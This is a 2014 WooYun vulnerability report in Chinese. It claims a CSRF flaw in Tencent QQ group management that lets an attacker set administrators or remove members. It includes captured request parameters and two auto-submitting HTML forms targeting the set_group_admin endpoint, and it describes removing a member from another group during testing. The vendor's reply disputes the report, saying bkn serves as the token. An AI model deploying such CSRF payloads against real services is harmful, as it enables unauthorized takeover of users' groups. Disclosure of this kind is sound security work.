当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-061514

漏洞标题：腾讯QQ群可csrf任意设置管理员

相关厂商：腾讯

漏洞作者： 小龙

提交时间：2014-05-20 00:23

修复时间：2014-05-20 10:55

公开时间：2014-05-20 10:55

漏洞类型：CSRF

危害等级：中

自评Rank：10

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-20： 细节已通知厂商并且等待厂商处理中
2014-05-20： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

腾讯，“张嘴吃药”

详细说明：

http://qun.qq.com/manage.html#click

1.png


new？ 新功能？
我们来看看正常流程，我们找一个自己的群，然后设置下
就这个把。。。
网络安全高端研究(237077239)
我要飞的对象是
不经常浮水的
乱飞会挨叼的，o(∩_∩)o
就他把，我们飞了他

2.png


然后Fiddler抓包
看看流程
发现他发送了如下请求

gc

237077239


ul

1092612809


flag

0


bkn

1495574789


然后看了下

3.png


gc=QQ群号
ul=QQ号码
bkn=一串数字(无针对任何验证)
我们试试能不能修改删除某个群的成员，我跨群删除试试(必须要有管理员权限哦o(∩_∩)o 十八岁一下请勿模仿)

4.png


好，就这个吧
猎鹰科技官方群 Q群为：136061686
删除这个“╄→⑤冄戀鯖” QQ为：1071318816

5.png


我们再换回
网络安全高端研究(237077239)
然后随便找一个
修改前：

6.png


修改后：

7.png


8.png


可以看到已经删除鸟。。。。
好神奇
设置管理员也是这个请求，木有token
构造csrf：

<html>
<form name="comer"  action="http://qun.qq.com/cgi-bin/qun_mgr/set_group_admin
" method="POST"> 
<input type="hidden" name="gc" value="QQ群号" />
<input type="hidden" name="ul" value="QQ号码" />
<input type="hidden" name="op" value="1(给予1的待遇，也就是管理员，第一位)" />
<input type="hidden" name="bkn" value="1495574789 (随机参数)" />
<input type="submit" />
</form>
<script>
document.comer.submit();
</script>
</html>


好的，了解完这些我们可以构造csrf来看下是否可以。。。
其实5944和那个什么美国免费空间就可以上传html了-。-
用我自己的群测试把

9.png


我的QQ群是： 285273***
然后我要设置的管理员的QQ是：858757***

10.png


就我一个群主而已，我们构造csrf代码把。。

<html>
<form name="comer"  action="http://qun.qq.com/cgi-bin/qun_mgr/set_group_admin
" method="POST"> 
<input type="hidden" name="gc" value="285273***" />
<input type="hidden" name="ul" value="858757***" />
<input type="hidden" name="op" value="1" />
<input type="hidden" name="bkn" value="1495574789" />
<input type="submit" />
</form>
<script>
document.comer.submit();
</script>
</html>


11.png


我们访问下看看

12.png


算了，由于时间关系我们
随便搞个把

13.png


漏洞证明：

13.png

修复方案：

null

版权声明：转载请注明来源 小龙@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-05-20 10:55

厂商回复：

非常感谢您的报告，经评估该问题并不存在，bkn即token，故此忽略。如果您有任何的疑问，欢迎反馈，我们会有专人跟进处理。

最新状态：

暂无